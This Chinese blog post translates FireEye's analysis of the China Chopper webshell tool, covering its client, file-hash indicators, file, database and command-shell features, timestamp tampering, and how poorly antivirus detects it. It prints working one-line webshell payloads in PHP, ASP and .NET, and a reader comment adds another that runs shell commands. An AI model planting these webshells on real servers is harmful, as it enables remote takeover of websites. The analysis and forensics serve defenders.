Fireeye技术剖析中国菜刀 – Part I

2013-08-08 752975人围观 ,发现 58 个不明物体 WEB安全

这里的中国菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处。中国菜刀用途十分广泛,支持多种语言,小巧实用,据说是一位中国军人退伍之后的作品。日前,国外安全公司Fireeye对这款工具进行了详细的剖析,可以说是一部非常nice的菜刀使用教程。

Web Shell客户端:

中国菜刀的客户端可在www.maicaidao.com下载到,

Web shell (CnC) Client        MD5
caidao.exe                    5001ef50c7e869253a7c152a638eab8a

客户端使用UPX加壳,有220672个字节大小,如图1所示:

图1,使用WinHex工具查看


使用脱壳工具脱壳,可以看到一些隐藏的细节:

C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2011
UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011
File size         Ratio      Format      Name
--------------------   ------   -----------   -----------
700416 <-    220672   31.51%    win32/pe     decomp.exe
Unpacked 1 file.

使用PEID(一个免费检测软件使用的加壳手法的工具),我们可以看到解压缩后的客户端程序使用Visual C + + 6.0编写,如图2所示:

图2 PEID显示程序所用语言


因为字符串没有进行编码,所以可以通过打印输出该后门如何通信,我们可以看到一个url google.com.hk(图3),以及参考文本Chopper(图4)

图3 打印字符串refer www.google.com.hk

图4 菜刀的客户端二进制文件参考文档

打开中国菜刀界面,我们可以看到该工具是一款图形界面工具,并且提供了添加自己的目标、管理的功能,在客户端软件上,右键单击选择“添加”,输入IP地址,以及密码和编码方式,如图5所示

图5:中国菜刀客户端界面


服务端payload组件

中国菜刀的工具是一款Webshell管理工具,相应必然有一个服务端的程序,它支持各种语言,如ASP、ASPX、PHP、JSP、CFM,一些官网下载原始程序MD5 HASH如下:

Web shell Payload MD5 Hash
Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08
Customize.cfm ad8288227240477a95fb023551773c84
Customize.jsp acba8115d027529763ea5c7ed6621499

例子如下:

PHP: <?php @eval($_POST['pass']);?>
ASP: <%eval request("pass")%>
.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

在实际使用过程中,替换PASS为链接的时候需要的密码。

功能

上面简单介绍了中国菜刀的客户端和服务端的,下面来介绍下该款工具的其他功能,中国菜刀包含了“安全扫描”功能,攻击者能够使用爬虫或暴力破解来攻击目标站点,如下图:

在除了发现漏洞之外,中国菜刀最强大的莫过于管理功能了,包含以下内容:

1、文件管理(文件资源管理器)
2、数据库管理(DB客户端)
3、虚拟终端(命令行)

在中国菜刀的客户端界面中,右键单击一个目标可以查看相应的功能列表,如图7:


文件管理

中国菜刀作为一个远程访问工具(RAT),包含了常见的上传、下载、编辑、删除、复制、重命名以及改变文件的时间戳。如图8:

修改文件功能现在常见的webshell就带了该功能,图9显示了测试目录的三个文件,因为Windows资源管理器只显示“修改日期”字段,所以通常情况下,能够达到隐藏操作的目的:

使用工具将文件修改和其他两个文件相同,如图10,可以看到文件的修改的日期和其他两个文件一致,如果不是专业的人士,一般不会看出这几个文件的区别:

当文件的创建日期和修改日期被修改之后,查出异常文件非常麻烦,需要分析主文件表MFT以及FTK,fireeye建议使用工具mftdump来进行分析,该工具能够提取文件元数据进行分析。

下表显示了从MFT中提取的Webshell时间戳,注意"fn*"字段包含了文件的原始时间。

Category	           Pre-touch match	Post-touch match
siCreateTime (UTC)	6/6/2013 16:01	2/21/2003 22:48
siAccessTime (UTC)	6/20/2013 1:41	6/25/2013 18:56
siModTime (UTC)	6/7/2013 0:33	2/21/2003 22:48
siMFTModTime (UTC)	6/20/2013 1:54	6/25/2013 18:56
fnCreateTime (UTC)	6/6/2013 16:01	6/6/2013 16:01
fnAccessTime (UTC)	6/6/2013 16:03	6/6/2013 16:03
fnModTime (UTC)	6/4/2013 15:42	6/4/2013 15:42
fnMFTModTime (UTC)	6/6/2013 16:04	6/6/2013 16:04


数据库管理

中国菜刀支持各种数据库,如MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS等,数据库操作界面,内置了一些常用的数据库语句,能够自动显示表名、列名,查询语句,并且内置了常用的数据库语句。如下图11:

链接之后,菜刀提供了一些常见的数据库语句,如图12:

命令行功能

最后,菜刀提供了一个命令行界面,能够通过命令行shell进行操作系统级别的互动,当然继承的权限是WEB应用的权限。如图13:


Payload属性
除了以上的功能之外,中国菜刀的能够在黑客圈广泛使用,还有以下几个因素:

1、大小
2、服务端内容
3、客户端内容
4、是否免杀

大小
中国菜刀的服务端脚本非常小,是典型的一句话木马,其中aspx服务端软件只有73字节,见图14,相比其他传统的webshell可见它的优越性。

服务端内容

中国菜刀的服务端代码除了简洁之外,并且支持多种加密、编码,下图是aspx的服务端代码,


客户端内容

在浏览器不会产生任何客户端代码,如图16:


杀毒软件检测:

大多数杀毒软件不能检测出该工具。如下图:

fireeye表示将在第二部分内容中详细介绍中国菜刀的通讯机制、交互机制等。

ps:小编翻译完本文流下了感动的泪水,这应该是菜刀自网络出现之后最详细的一篇使用教程了,相信菜刀作者看到本文也会感到欣慰,这么多年了,终于出头了!

这些评论亮了

  • anlfi (5级) 回复
    这是在欺负人家的智商吗 真是感到拙计啊 这也能叫分析
    "杀毒软件检测" 看到73 bty就知道是一句话了 <?php echo `$_GET[code]`;?>这你能杀什么?
    关键作用是扩展外部输入代码也就是原本函数不存在恶意代码而是后来输入的
    ”大多数杀毒软件不能检测出该工具” 拙计
    小编也你也好问一下别的黑阔啊 发送控制代码是经过base64加密的 还有协议部分没有分析
    汇编只查看了字符串
    如何加载插件 在不同平台运行 换句话说
    真正的分析是了解其本质且扩展其局限可能的文章不是这样泛泛的呀╮(╯▽╰)╭
    总体来个这个文章只能说是工具介绍性软文 大胆的说一句>>毫无价值的说
    )34( 亮了
  • 亲爱的 回复
    貌似还有一个工具比菜刀还要强大,叫什么中国砍刀。。。。。还有一个中级的叫什么。。中国原子弹。。。。。。。
    )30( 亮了
  • xsser 回复
    有人来爆点Fireeye的料吗?据说有美国军方背景?
    )23( 亮了
  • r3dh4t (1级) 回复
    貌似是 桂林老兵 的作品 。。用之不疑 疑之不用即可。。。
    )16( 亮了
发表评论

已有 56 条评论

取消
Loading...
lock

独立安全研究员

40篇文章53条评论

特别推荐

关注我们 分享每日精选文章

不容错过

css.php